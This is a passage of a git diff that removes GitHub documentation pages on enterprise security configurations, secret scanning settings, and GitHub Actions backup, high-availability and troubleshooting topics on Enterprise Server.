reusables.gated-features.security-configurations-enterprise %}' -versions: - feature: security-configuration-enterprise-level -topics: - - Advanced Security - - Enterprise - - Security ---- - -## About {% data variables.product.prodname_security_configurations %} - -{% data variables.product.prodname_security_configurations_caps %} simplify the rollout of {% data variables.product.company_short %} security products at scale by helping you define collections of security settings and apply them across your enterprise. - -{% data reusables.security-configurations.overview %} - -{% ifversion security-configurations-ghes-only %} - -When creating a security configuration, keep in mind that: -* Only features installed by a site administrator on your {% data variables.product.prodname_ghe_server %} instance will appear in the UI. -* {% data variables.product.prodname_AS %} features will only be visible if your enterprise or {% data variables.product.prodname_ghe_server %} instance holds a {% data variables.product.prodname_GHAS %}{% ifversion ghas-products %}, {% data variables.product.prodname_GH_code_security %}, or {% data variables.product.prodname_GH_secret_protection %}{% endif %} license. -* Certain features, like {% data variables.product.prodname_dependabot_security_updates %} and {% data variables.product.prodname_code_scanning %} default setup, also require that {% data variables.product.prodname_actions %} is installed on the {% data variables.product.prodname_ghe_server %} instance. - -{% endif %} - -{% data reusables.security-configurations.emu-note %} - -{% data reusables.security-configurations.security-features-use-actions %} - -## Preserving default settings for new repositories - -If you had default security settings in place for newly created repositories, {% data variables.product.github %} will preserve these settings by automatically creating a "New repository default settings" security configuration for your enterprise. The configuration matches your previous enterprise-level default settings for new repositories as of December, 2024. - -The "New repository default settings" configuration will automatically get applied to any newly created repositories in your enterprise, if no organization-level defaults are set. diff --git a/content/admin/managing-code-security/securing-your-enterprise/applying-a-custom-security-configuration-to-your-enterprise.md b/content/admin/managing-code-security/securing-your-enterprise/applying-a-custom-security-configuration-to-your-enterprise.md deleted file mode 100644 index 40edb5c2439d..000000000000 --- a/content/admin/managing-code-security/securing-your-enterprise/applying-a-custom-security-configuration-to-your-enterprise.md +++ /dev/null @@ -1,34 +0,0 @@ ---- -title: Applying a custom security configuration to your enterprise -shortTitle: Apply custom configuration -intro: 'You can apply your {% data variables.product.prodname_custom_security_configuration %} to organizations and repositories in your organization to meet the specific security needs of your enterprise.' -permissions: '{% data reusables.permissions.security-configuration-enterprise-enable %}' -versions: - feature: security-configuration-enterprise-level -topics: - - Advanced Security - - Organizations - - Security ---- - -## About applying a {% data variables.product.prodname_custom_security_configuration %} - -After you create a {% data variables.product.prodname_custom_security_configuration %}, you need to apply it to repositories in your enterprise to enable the configuration's settings on those repositories. - -{% data reusables.security-configurations.security-features-use-actions %} - -## Applying your {% data variables.product.prodname_custom_security_configuration %} to repositories in your enterprise - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.advanced-security-tab %} -1. To the right of the configuration you want to apply, select the **Apply to** {% octicon "triangle-down" aria-hidden="true" %} dropdown menu, then click **All repositories** or **All repositories without configurations**. -{% data reusables.security-configurations.apply-configuration-by-default %} - -{% data reusables.security-configurations.apply-configuration %} - -{% data reusables.security-configurations.failure-handling-enterprise %} - -## Next steps - -To learn how to edit your {% data variables.product.prodname_custom_security_configuration %}, see [AUTOTITLE](/admin/managing-code-security/securing-your-enterprise/editing-a-custom-security-configuration). diff --git a/content/admin/managing-code-security/securing-your-enterprise/applying-the-github-recommended-security-configuration-to-your-enterprise.md b/content/admin/managing-code-security/securing-your-enterprise/applying-the-github-recommended-security-configuration-to-your-enterprise.md deleted file mode 100644 index af20b2864184..000000000000 --- a/content/admin/managing-code-security/securing-your-enterprise/applying-the-github-recommended-security-configuration-to-your-enterprise.md +++ /dev/null @@ -1,40 +0,0 @@ ---- -title: Applying the GitHub-recommended security configuration to your enterprise -shortTitle: Apply recommended configuration -intro: 'Secure your code with the security enablement settings created, managed, and recommended by {% data variables.product.github %}.' -permissions: '{% data reusables.permissions.security-configuration-enterprise-enable %}' -versions: - ghec: '*' -topics: - - Advanced Security - - Enterprise - - Security ---- - -## About the {% data variables.product.prodname_github_security_configuration %} - -The {% data variables.product.prodname_github_security_configuration %} is a set of industry best practices and features that provide a robust, baseline security posture for enterprises. This configuration is created and maintained by subject matter experts at {% data variables.product.github %}, with the help of multiple industry leaders and experts. The {% data variables.product.prodname_github_security_configuration %} is designed to successfully reduce the security risks for low- and high-impact repositories. We recommend you apply this configuration to all the repositories in your enterprise. - -{% data reusables.security-configurations.github-recommended-warning-enterprise %} - -## Applying the {% data variables.product.prodname_github_security_configuration %} to repositories in your enterprise - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.advanced-security-tab %} -1. In the "{% data variables.product.company_short %} recommended" row of the configurations table for your enterprise, select the **Apply to** {% octicon "triangle-down" aria-hidden="true" %} dropdown menu, then click **All repositories** or **All repositories without configurations**. -{% data reusables.security-configurations.apply-configuration-by-default %} - -{% data reusables.security-configurations.apply-configuration %} - -{% data reusables.security-configurations.failure-handling-enterprise %} - -## Enforcing the {% data variables.product.prodname_github_security_configuration %} - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.advanced-security-tab %} -1. In the "Configurations" section, select "{% data variables.product.company_short %} recommended". -1. In the "Policy" section, next to "Enforce configuration", select **Enforce** from the dropdown menu. - -{% data reusables.code-scanning.custom-security-configuration-enforcement-edge-cases-enterprise %} diff --git a/content/admin/managing-code-security/securing-your-enterprise/configuring-additional-secret-scanning-settings-for-your-enterprise.md b/content/admin/managing-code-security/securing-your-enterprise/configuring-additional-secret-scanning-settings-for-your-enterprise.md deleted file mode 100644 index 9fd3a29bc6b5..000000000000 --- a/content/admin/managing-code-security/securing-your-enterprise/configuring-additional-secret-scanning-settings-for-your-enterprise.md +++ /dev/null @@ -1,49 +0,0 @@ ---- -title: Configuring additional secret scanning settings for your enterprise -shortTitle: Configure additional settings -intro: 'Learn how to configure additional {% data variables.product.prodname_secret_scanning %} settings for your enterprise.' -permissions: '{% data reusables.permissions.security-configuration-enterprise-enable %}' -versions: - feature: security-configuration-enterprise-level -topics: - - Advanced Security - - Enterprise - - Security ---- - -## About additional settings for {% data variables.product.prodname_secret_scanning %} - -There are some additional {% data variables.product.prodname_secret_scanning %} settings that cannot be applied to repositories using {% data variables.product.prodname_security_configurations %}, so you must configure these settings separately: - -* [Configuring a resource link for push protection](/admin/managing-code-security/securing-your-enterprise/configuring-additional-secret-scanning-settings-for-your-enterprise#configuring-a-resource-link-for-push-protection){% ifversion secret-scanning-ai-generic-secret-detection %} -* [Configuring AI detection to find additional secrets](/admin/managing-code-security/securing-your-enterprise/configuring-additional-secret-scanning-settings-for-your-enterprise#configuring-ai-detection-to-find-additional-secrets){% endif %} - -These additional settings only apply to repositories with {% data variables.product.prodname_secret_scanning %} enabled and {% data variables.product.prodname_GHAS %}{% ifversion ghas-products %} or {% data variables.product.prodname_GH_secret_protection %}{% endif %}. - -## Accessing the additional settings for {% data variables.product.prodname_secret_scanning %} - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.advanced-security-tab %} -1. Scroll down the page to the "Additional settings" section. - -### Configuring a resource link for push protection - -To provide context for developers when {% data variables.product.prodname_secret_scanning %} blocks a commit, you can display a link with more information on why the commit was blocked. - -1. Under "Additional settings", to the right of "Resource link for push protection", click **{% octicon "pencil" aria-hidden="true" %}**. -1. In the text box, type the link to the desired resource, then click **{% octicon "check" aria-label="Save" %}**. - -{% ifversion secret-scanning-ai-generic-secret-detection %} - -### Configuring AI detection to find additional secrets - -{% data variables.secret-scanning.copilot-secret-scanning %}'s {% data variables.secret-scanning.generic-secret-detection %} is an AI-powered expansion of {% data variables.product.prodname_secret_scanning %} that scans and creates alerts for unstructured secrets, such as passwords. - -1. Under "Additional settings", to the right of "Use AI detection to find additional secrets", ensure the setting is toggled to "On". - -{% data reusables.secret-scanning.copilot-secret-scanning-generic-secrets-subscription-note %} - -To learn more about generic secrets, see [AUTOTITLE](/code-security/secret-scanning/copilot-secret-scanning/responsible-ai-generic-secrets). - -{% endif %} diff --git a/content/admin/managing-code-security/securing-your-enterprise/creating-a-custom-security-configuration-for-your-enterprise.md b/content/admin/managing-code-security/securing-your-enterprise/creating-a-custom-security-configuration-for-your-enterprise.md deleted file mode 100644 index 3d85466b4a5b..000000000000 --- a/content/admin/managing-code-security/securing-your-enterprise/creating-a-custom-security-configuration-for-your-enterprise.md +++ /dev/null @@ -1,107 +0,0 @@ ---- -title: Creating a custom security configuration for your enterprise -shortTitle: Create custom configuration -intro: 'Build a {% data variables.product.prodname_custom_security_configuration %} to meet the specific security needs of your enterprise.' -permissions: '{% data reusables.permissions.security-configuration-enterprise-enable %}' -versions: - feature: security-configuration-enterprise-level -topics: - - Advanced Security - - Enterprise - - Security ---- - -## About {% data variables.product.prodname_custom_security_configurations %} - -{% ifversion security-configurations-cloud %} - -We recommend securing your enterprise with the {% data variables.product.prodname_github_security_configuration %}, then evaluating the security findings on your repositories before configuring {% data variables.product.prodname_custom_security_configurations %}. For more information, see [AUTOTITLE](/admin/managing-code-security/securing-your-enterprise/applying-the-github-recommended-security-configuration-to-your-enterprise). - -{% endif %} - -With {% data variables.product.prodname_custom_security_configurations %}, you can create collections of enablement settings for {% data variables.product.company_short %}'s security products to meet the specific security needs of your enterprise. For example, you can create a different {% data variables.product.prodname_custom_security_configuration %} for each organization or group of organizations to reflect their unique security requirements and compliance obligations. - -{% ifversion security-configurations-ghes-only %} - -When creating a security configuration, keep in mind that: -* Only features installed by a site administrator on your {% data variables.product.prodname_ghe_server %} instance will appear in the UI. -* {% data variables.product.prodname_GHAS %} features will only be visible if your enterprise or {% data variables.product.prodname_ghe_server %} instance holds a {% data variables.product.prodname_GHAS %}{% ifversion ghas-products %}, {% data variables.product.prodname_GH_code_security %}, or {% data variables.product.prodname_GH_secret_protection %}{% endif %} license. -* Certain features, like {% data variables.product.prodname_dependabot_security_updates %} and {% data variables.product.prodname_code_scanning %} default setup, also require that {% data variables.product.prodname_actions %} is installed on the {% data variables.product.prodname_ghe_server %} instance. - -{% endif %} - -## Creating a {% data variables.product.prodname_custom_security_configuration %} - -{% ifversion security-configurations-cloud %} -<!-- Note: this article has two entirely separate procedures for cloud and server users. --> - ->[!NOTE] -> The enablement status of some security features is dependent on other, higher-level security features. For example, disabling dependency graph will also disable automatic dependency submission, {% data variables.product.prodname_dependabot_alerts %}, vulnerability exposure analysis, and security updates. - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.advanced-security-tab %} -1. In the "Configurations" section, click **New configuration**. -1. To help identify your {% data variables.product.prodname_custom_security_configuration %} and clarify its purpose on the "Configurations" page, name your configuration and create a description. -1. In the "{% data variables.product.prodname_GH_advanced_security %} features" row, choose whether to include or exclude {% data variables.product.prodname_GH_advanced_security %} (GHAS) features. If you plan to apply a {% data variables.product.prodname_custom_security_configuration %} with GHAS features to private repositories, you must have available GHAS licenses for each active unique committer to those repositories, or the features will not be enabled. See [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security). -1. In the "Dependency graph and {% data variables.product.prodname_dependabot %}" section of the security settings table, choose whether you want to enable, disable, or keep the existing settings for the following security features: - * Dependency graph. To learn about dependency graph, see [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph).{%- ifversion maven-transitive-dependencies %} - * Automatic dependency submission. To learn about automatic dependency submission, see [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/configuring-automatic-dependency-submission-for-your-repository).{%- endif %} - * {% data variables.product.prodname_dependabot_alerts %}. To learn about {% data variables.product.prodname_dependabot_alerts %}, see [AUTOTITLE](/code-security/dependabot/dependabot-alerts/about-dependabot-alerts). - * Security updates. To learn about security updates, see [AUTOTITLE](/code-security/dependabot/dependabot-security-updates/about-dependabot-security-updates). - - > [!NOTE] - > You cannot manually change the enablement settings for vulnerable function calls. If {% data variables.product.prodname_GHAS %}{% ifversion ghas-products %} or {% data variables.product.prodname_GH_code_security %}{% endif %} features and {% data variables.product.prodname_dependabot_alerts %} are enabled, vulnerable function calls is also enabled. Otherwise, it is disabled. - -1. In the "{% data variables.product.prodname_code_scanning_caps %}" section of the security settings table, choose whether you want to enable, disable, or keep the existing settings for {% data variables.product.prodname_code_scanning %} default setup. To learn about default setup, see [AUTOTITLE](/code-security/code-scanning/enabling-code-scanning/configuring-default-setup-for-code-scanning#about-default-setup). -1. In the "{% data variables.product.prodname_secret_scanning_caps %}" section of the security settings table, choose whether you want to enable, disable, or keep the existing settings for the following security features: - * Alerts. To learn about {% data variables.product.prodname_secret_scanning %}, see [AUTOTITLE](/code-security/secret-scanning/introduction/about-secret-scanning).{% ifversion org-npp-enablement-security-configurations %} - * Non-provider patterns. To learn more about scanning for non-provider patterns, see [AUTOTITLE](/code-security/secret-scanning/introduction/supported-secret-scanning-patterns#non-provider-patterns) and [AUTOTITLE](/code-security/secret-scanning/managing-alerts-from-secret-scanning/viewing-alerts).{% endif %} - * Push protection. To learn about push protection, see [AUTOTITLE](/code-security/secret-scanning/introduction/about-push-protection). -1. In the "Private vulnerability reporting" section of the security settings table, choose whether you want to enable, disable, or keep the existing settings for private vulnerability reporting. To learn about private vulnerability reporting, see [AUTOTITLE](/code-security/security-advisories/working-with-repository-security-advisories/configuring-private-vulnerability-reporting-for-a-repository). -1. Optionally, in the "Policy" section, you can choose to automatically apply the {% data variables.product.prodname_security_configuration %} to newly created repositories depending on their visibility. Select the **None** {% octicon "triangle-down" aria-hidden="true" %} dropdown menu, then click **Public**, **Private and internal**, or **All repositories**. -1. Optionally, in the "Policy" section, you can enforce the configuration and block repository owners from changing features that are enabled or disabled by the configuration (features that are not set aren't enforced). Next to "Enforce configuration", select **Enforce** from the dropdown menu. - - {% data reusables.code-scanning.custom-security-configuration-enforcement-edge-cases-enterprise %} - -1. To finish creating your {% data variables.product.prodname_custom_security_configuration %}, click **Save configuration**. - -{% elsif security-configurations-ghes-only %} - ->[!NOTE] -> The enablement status of some security features is dependent on other, higher-level security features. For example, disabling {% data variables.secret-scanning.alerts %} will also disable non-provider patterns and push protection. - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.advanced-security-tab %} -1. In the "Configurations" section, click **New configuration**. -1. To help identify your {% data variables.product.prodname_custom_security_configuration %} and clarify its purpose on the "Configurations" page, name your configuration and create a description. -1. In the "{% data variables.product.prodname_GH_advanced_security %} features" row, choose whether to include or exclude {% data variables.product.prodname_GH_advanced_security %} (GHAS) features. If you plan to apply a {% data variables.product.prodname_custom_security_configuration %} with GHAS features to private repositories, you must have available GHAS licenses for each active unique committer to those repositories, or the features will not be enabled. See [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security). -1. In the "Dependency graph and {% data variables.product.prodname_dependabot %}" section of the security settings table, choose whether you want to enable, disable, or keep the existing settings for the following security features: - * {% data variables.product.prodname_dependabot_alerts %}. To learn about {% data variables.product.prodname_dependabot %}, see [AUTOTITLE](/code-security/dependabot/dependabot-alerts/about-dependabot-alerts). - > [!NOTE] {% data variables.dependabot.auto_triage_rules %} are not available to set at enterprise level. If an enterprise-level security configuration is applied to a repository, it can still have {% data variables.dependabot.auto_triage_rules %} enabled, but you can't turn off these rules at the level of the enterprise. - * Security updates. To learn about security updates, see [AUTOTITLE](/code-security/dependabot/dependabot-security-updates/about-dependabot-security-updates). - > [!NOTE] - > You cannot manually change the enablement setting for the dependency graph. This setting is installed and managed by a site administrator at the instance level. -1. In the "{% data variables.product.prodname_code_scanning_caps %}" section of the security settings table, choose whether you want to enable, disable, or keep the existing settings for {% data variables.product.prodname_code_scanning %} default setup. To learn about default setup, see [AUTOTITLE](/code-security/code-scanning/enabling-code-scanning/configuring-default-setup-for-code-scanning#about-default-setup). -1. In the "{% data variables.product.prodname_secret_scanning_caps %}" section of the security settings table, choose whether you want to enable, disable, or keep the existing settings for the following security features: - * Alerts. To learn about {% data variables.secret-scanning.alerts %}, see [AUTOTITLE](/code-security/secret-scanning/introduction/about-secret-scanning).{% ifversion org-npp-enablement-security-configurations %} - * Non-provider patterns. To learn more about scanning for non-provider patterns, see [AUTOTITLE](/code-security/secret-scanning/introduction/supported-secret-scanning-patterns#non-provider-patterns) and [AUTOTITLE](/code-security/secret-scanning/managing-alerts-from-secret-scanning/viewing-alerts).{% endif %} - * Push protection. To learn about push protection, see [AUTOTITLE](/code-security/secret-scanning/introduction/about-push-protection). -1. Optionally, in the "Policy" section, you can choose to automatically apply the {% data variables.product.prodname_security_configuration %} to newly created repositories depending on their visibility. Select the **None** {% octicon "triangle-down" aria-hidden="true" %} dropdown menu, then click **Public**, or **Private and internal**, or **All repositories**. - -1. Optionally, in the "Policy" section, you can enforce the configuration and block repository owners from changing features that are enabled or disabled by the configuration (features that are not set aren't enforced). Next to "Enforce configuration", select **Enforce** from the dropdown menu. - - {% data reusables.code-scanning.custom-security-configuration-enforcement-edge-cases-enterprise %} - -1. To finish creating your {% data variables.product.prodname_custom_security_configuration %}, click **Save configuration**. - -{% endif %} - -## Next steps - -To optionally configure additional {% data variables.product.prodname_secret_scanning %} settings for the enterprise, see [AUTOTITLE](/admin/managing-code-security/securing-your-enterprise/configuring-additional-secret-scanning-settings-for-your-enterprise). - -To apply your {% data variables.product.prodname_custom_security_configuration %} to repositories in your organization, see [AUTOTITLE](/code-security/securing-your-organization/enabling-security-features-in-your-organization/applying-a-custom-security-configuration). - -{% data reusables.security-configurations.edit-configuration-next-step %} diff --git a/content/admin/managing-code-security/securing-your-enterprise/deleting-a-custom-security-configuration.md b/content/admin/managing-code-security/securing-your-enterprise/deleting-a-custom-security-configuration.md deleted file mode 100644 index 6c56d7d0cde4..000000000000 --- a/content/admin/managing-code-security/securing-your-enterprise/deleting-a-custom-security-configuration.md +++ /dev/null @@ -1,28 +0,0 @@ ---- -title: Deleting a custom security configuration -shortTitle: Delete custom configuration -intro: 'You can delete unnecessary {% data variables.product.prodname_custom_security_configurations %} in your enterprise.' -permissions: '{% data reusables.permissions.security-configuration-enterprise-enable %}' -versions: - feature: security-configuration-enterprise-level -topics: - - Advanced Security - - Enterprise - - Security ---- - -## About deleting a {% data variables.product.prodname_custom_security_configuration %} - -If you no longer need a {% data variables.product.prodname_custom_security_configuration %}, you can delete that configuration to ensure it will not be applied to any repositories in the future. If you want to delete a {% data variables.product.prodname_custom_security_configuration %} because you want to change the security enablement settings in that configuration, consider editing the configuration instead. For more information, see [AUTOTITLE](/admin/managing-code-security/securing-your-enterprise/editing-a-custom-security-configuration). - -> [!WARNING] -> Deleting a {% data variables.product.prodname_custom_security_configuration %} will detach all repositories that are linked to that configuration. The existing security settings for those repositories will be unchanged, but you must apply a different {% data variables.product.prodname_security_configuration %} or manage their security settings at the repository level to keep their settings up to date. - -## Deleting a {% data variables.product.prodname_custom_security_configuration %} from your enterprise - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.advanced-security-tab %} -1. In the configurations table, click the name of the {% data variables.product.prodname_custom_security_configuration %} you want to delete. -1. In the "Edit configuration" page, scroll to the bottom of the "Policy" section, then click **Delete configuration**. -1. Ensure you read the warning in the "Delete this configuration?" dialog, to confirm you are comfortable deleting the {% data variables.product.prodname_custom_security_configuration %}, then click **Delete configuration**. diff --git a/content/admin/managing-code-security/securing-your-enterprise/editing-a-custom-security-configuration.md b/content/admin/managing-code-security/securing-your-enterprise/editing-a-custom-security-configuration.md deleted file mode 100644 index 57df14c45a13..000000000000 --- a/content/admin/managing-code-security/securing-your-enterprise/editing-a-custom-security-configuration.md +++ /dev/null @@ -1,37 +0,0 @@ ---- -title: Editing a custom security configuration -shortTitle: Edit custom configuration -intro: 'Change the enablement settings in your {% data variables.product.prodname_custom_security_configuration %} to better meet the security needs of your repositories.' -permissions: '{% data reusables.permissions.security-configuration-enterprise-enable %}' -versions: - feature: security-configuration-enterprise-level -topics: - - Advanced Security - - Organizations - - Security ---- - -## About editing a {% data variables.product.prodname_custom_security_configuration %} - -After creating and applying a {% data variables.product.prodname_custom_security_configuration %}, you may need to edit the enablement settings for that configuration to better secure your repositories. Any changes you make to the enablement settings of a {% data variables.product.prodname_security_configuration %} will automatically populate to all linked repositories. - -{% ifversion security-configurations-cloud %} - -> [!NOTE] -> The {% data variables.product.prodname_github_security_configuration %} is managed by {% data variables.product.github %} and cannot be edited. If you would like to customize your security enablement settings, you need to create a {% data variables.product.prodname_custom_security_configuration %}. For more information, see [AUTOTITLE](/admin/managing-code-security/securing-your-enterprise/creating-a-custom-security-configuration-for-your-enterprise). - -{% endif %} - -## Modifying your {% data variables.product.prodname_custom_security_configuration %} - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.advanced-security-tab %} -1. In the "Configurations" section, click the name of the {% data variables.product.prodname_custom_security_configuration %} you want to edit. -1. Edit the name and description of your {% data variables.product.prodname_custom_security_configuration %} as desired. -1. In the "Security settings" section, edit the enablement settings of your {% data variables.product.prodname_custom_security_configuration %} as desired. -1. In the "Policy" section, you can modify the configuration's enforcement status. Enforcing a configuration will block repository owners from changing features that are enabled or disabled by the configuration, but features that are not set aren't enforced. Next to "Enforce configuration", select **Enforce** or **Don't enforce** from the dropdown menu. - - {% data reusables.code-scanning.custom-security-configuration-enforcement-edge-cases-enterprise %} - -1. To apply your changes, click **Update configuration**. diff --git a/content/admin/managing-code-security/securing-your-enterprise/index.md b/content/admin/managing-code-security/securing-your-enterprise/index.md deleted file mode 100644 index 600ed42b44cb..000000000000 --- a/content/admin/managing-code-security/securing-your-enterprise/index.md +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: Securing your enterprise -shortTitle: Securing your enterprise -intro: '{% ifversion security-configurations-cloud %}Enable the {% data variables.product.prodname_github_security_configuration %} or c{% elsif security-configurations-ghes-only %}C{% endif %}reate and apply {% data variables.product.prodname_custom_security_configurations %} to quickly secure your enterprise.' -product: '{% data reusables.gated-features.ghas-ghec %}' -versions: - feature: security-configuration-enterprise-level -topics: - - Alerts - - Advanced Security - - Dependency graph - - Dependabot - - Repositories -children: - - /about-security-configurations - - /applying-the-github-recommended-security-configuration-to-your-enterprise - - /creating-a-custom-security-configuration-for-your-enterprise - - /applying-a-custom-security-configuration-to-your-enterprise - - /configuring-additional-secret-scanning-settings-for-your-enterprise - - /editing-a-custom-security-configuration - - /deleting-a-custom-security-configuration ---- diff --git a/content/admin/managing-github-actions-for-your-enterprise/advanced-configuration-and-troubleshooting/backing-up-and-restoring-github-enterprise-server-with-github-actions-enabled.md b/content/admin/managing-github-actions-for-your-enterprise/advanced-configuration-and-troubleshooting/backing-up-and-restoring-github-enterprise-server-with-github-actions-enabled.md deleted file mode 100644 index 642b8124f85c..000000000000 --- a/content/admin/managing-github-actions-for-your-enterprise/advanced-configuration-and-troubleshooting/backing-up-and-restoring-github-enterprise-server-with-github-actions-enabled.md +++ /dev/null @@ -1,38 +0,0 @@ ---- -title: Backing up and restoring GitHub Enterprise Server with GitHub Actions enabled -shortTitle: Backing up and restoring -intro: 'To restore a backup of {% data variables.location.product_location %} when {% data variables.product.prodname_actions %} is enabled, you must configure {% data variables.product.prodname_actions %} before restoring the backup with {% data variables.product.prodname_enterprise_backup_utilities %}.' -versions: - ghes: '*' -type: how_to -topics: - - Actions - - Backups - - Enterprise - - Infrastructure -redirect_from: - - /admin/github-actions/backing-up-and-restoring-github-enterprise-server-with-github-actions-enabled - - /admin/github-actions/advanced-configuration-and-troubleshooting/backing-up-and-restoring-github-enterprise-server-with-github-actions-enabled ---- - -## About backups of {% data variables.product.prodname_ghe_server %} when using {% data variables.product.prodname_actions %} - -You can use {% data variables.product.prodname_enterprise_backup_utilities %} to back up and restore the data and configuration for {% data variables.location.product_location %} to a new instance. For more information, see [AUTOTITLE](/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance). - -However, not all the data for {% data variables.product.prodname_actions %} is included in these backups. {% data reusables.actions.enterprise-storage-ha-backups %} - -## Restoring a backup of {% data variables.product.prodname_ghe_server %} when {% data variables.product.prodname_actions %} is enabled - -To restore a backup of {% data variables.location.product_location %} with {% data variables.product.prodname_actions %}, you must manually configure network settings and external storage on the destination instance before you restore your backup from {% data variables.product.prodname_enterprise_backup_utilities %}. - -1. Create a new instance with the "New Install" option. For installation instructions for the virtualization platform of your choice, see [AUTOTITLE](/admin/installing-your-enterprise-server/setting-up-a-github-enterprise-server-instance). -1. In the {% data variables.enterprise.management_console %}, configure network settings and external storage for {% data variables.product.prodname_actions %} on the destination instance. See [AUTOTITLE](/admin/configuring-settings). -1. After {% data variables.product.prodname_actions %} is configured and enabled, to restore the rest of the data from the backup, use the `ghe-restore` command. For more information, see [AUTOTITLE](/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance#restoring-a-backup). -1. Re-register your self-hosted runners on the destination instance. For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/adding-self-hosted-runners). -1. To ensure that the bundled actions that are pre-installed on your new instance are up to date, enter the following command. - - ```shell copy - ghe-config --unset 'app.actions.actions-repos-sha1sum' - ``` - - {% data reusables.enterprise.apply-configuration %} diff --git a/content/admin/managing-github-actions-for-your-enterprise/advanced-configuration-and-troubleshooting/high-availability-for-github-actions.md b/content/admin/managing-github-actions-for-your-enterprise/advanced-configuration-and-troubleshooting/high-availability-for-github-actions.md deleted file mode 100644 index 7700b15d7187..000000000000 --- a/content/admin/managing-github-actions-for-your-enterprise/advanced-configuration-and-troubleshooting/high-availability-for-github-actions.md +++ /dev/null @@ -1,39 +0,0 @@ ---- -title: High availability for GitHub Actions -intro: 'There are some special considerations for administering {% data variables.product.prodname_actions %} in a high availability configuration.' -versions: - ghes: '*' -type: reference -topics: - - Actions - - Enterprise - - High availability - - Infrastructure - - Storage -redirect_from: - - /admin/github-actions/high-availability-for-github-actions - - /admin/github-actions/advanced-configuration-and-troubleshooting/high-availability-for-github-actions -shortTitle: HA for GitHub Actions ---- -## Replication or redundancy of your {% data variables.product.prodname_actions %} data - -{% data reusables.actions.enterprise-storage-ha-backups %} - -We strongly recommend that you configure your {% data variables.product.prodname_actions %} external storage to use data redundancy or replication. For more information, refer to your storage provider's documentation: - -* [Azure Storage redundancy documentation](https://docs.microsoft.com/en-us/azure/storage/common/storage-redundancy) -* [Amazon S3 replication documentation](https://docs.aws.amazon.com/AmazonS3/latest/dev/replication.html) - -## High availability replicas - -### Promoting a replica - -When enabling a high availability configuration, any replicas are automatically configured to use the {% data variables.product.prodname_actions %} external storage configuration. If you need to initiate a failover to promote a replica, no extra configuration changes are required for {% data variables.product.prodname_actions %}. - -For more information, see [AUTOTITLE](/admin/enterprise-management/configuring-high-availability/initiating-a-failover-to-your-replica-appliance). - -### Removing a high availability replica - -Avoid letting multiple instances to write to the same {% data variables.product.prodname_actions %} external storage. This could occur when using the `ghe-repl-teardown` command to stop and permanently remove a {% data variables.product.prodname_actions %}-enabled replica. This is because the replica will be converted into a standalone {% data variables.product.prodname_ghe_server %}, and after the teardown it will still use the same external storage configuration as the primary. - -To help avoid this issue, we recommend either decommissioning the replica server or updating its {% data variables.product.prodname_actions %} configuration with different external storage. diff --git a/content/admin/managing-github-actions-for-your-enterprise/advanced-configuration-and-troubleshooting/index.md b/content/admin/managing-github-actions-for-your-enterprise/advanced-configuration-and-troubleshooting/index.md deleted file mode 100644 index 62e5a393ee74..000000000000 --- a/content/admin/managing-github-actions-for-your-enterprise/advanced-configuration-and-troubleshooting/index.md +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: Advanced configuration and troubleshooting -intro: 'Configure high availability for {% data variables.product.prodname_actions %}, and troubleshoot {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_server %}.' -versions: - ghes: '*' -topics: - - Enterprise -children: - - /high-availability-for-github-actions - - /backing-up-and-restoring-github-enterprise-server-with-github-actions-enabled - - /using-a-staging-environment - - /troubleshooting-github-actions-for-your-enterprise -shortTitle: HA & troubleshooting -redirect_from: - - /admin/github-actions/advanced-configuration-and-troubleshooting ---- - diff --git a/content/admin/managing-github-actions-for-your-enterprise/advanced-configuration-and-troubleshooting/troubleshooting-github-actions-for-your-enterprise.md b/content/admin/managing-github-actions-for-your-enterprise/advanced-configuration-and-troubleshooting/troubleshooting-github-actions-for-your-enterprise.md deleted file mode 100644 index 869d32561e58..000000000000 --- a/content/admin/managing-github-actions-for-your-enterprise/advanced-configuration-and-troubleshooting/troubleshooting-github-actions-for-your-enterprise.md +++ /dev/null @@ -1,129 +0,0 @@ ---- -title: Troubleshooting GitHub Actions for your enterprise -intro: 'Troubleshooting common issues that occur when using {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_server %}.' -permissions: 'Site administrators can troubleshoot {% data variables.product.prodname_actions %} issues and modify {% data variables.product.prodname_ghe_server %} configurations.' -versions: - ghes: '*' -type: how_to -topics: - - Actions - - Enterprise - - Troubleshooting -redirect_from: - - /admin/github-actions/troubleshooting-github-actions-for-your-enterprise - - /admin/github-actions/advanced-configuration-and-troubleshooting/troubleshooting-github-actions-for-your-enterprise -shortTitle: Troubleshoot GitHub Actions ---- - -## Checking the health of {% data variables.product.prodname_actions %} - -You can check the health of {% data variables.product.prodname_actions %} on {% data variables.location.product_location %} with the `ghe-actions-check` command-line utility. For more information, see [AUTOTITLE](/admin/configuration/configuring-your-enterprise/command-line-utilities#ghe-actions-check) and [AUTOTITLE](/admin/configuration/configuring-your-enterprise/accessing-the-administrative-shell-ssh). - -## Configuring self-hosted runners when using a self-signed certificate 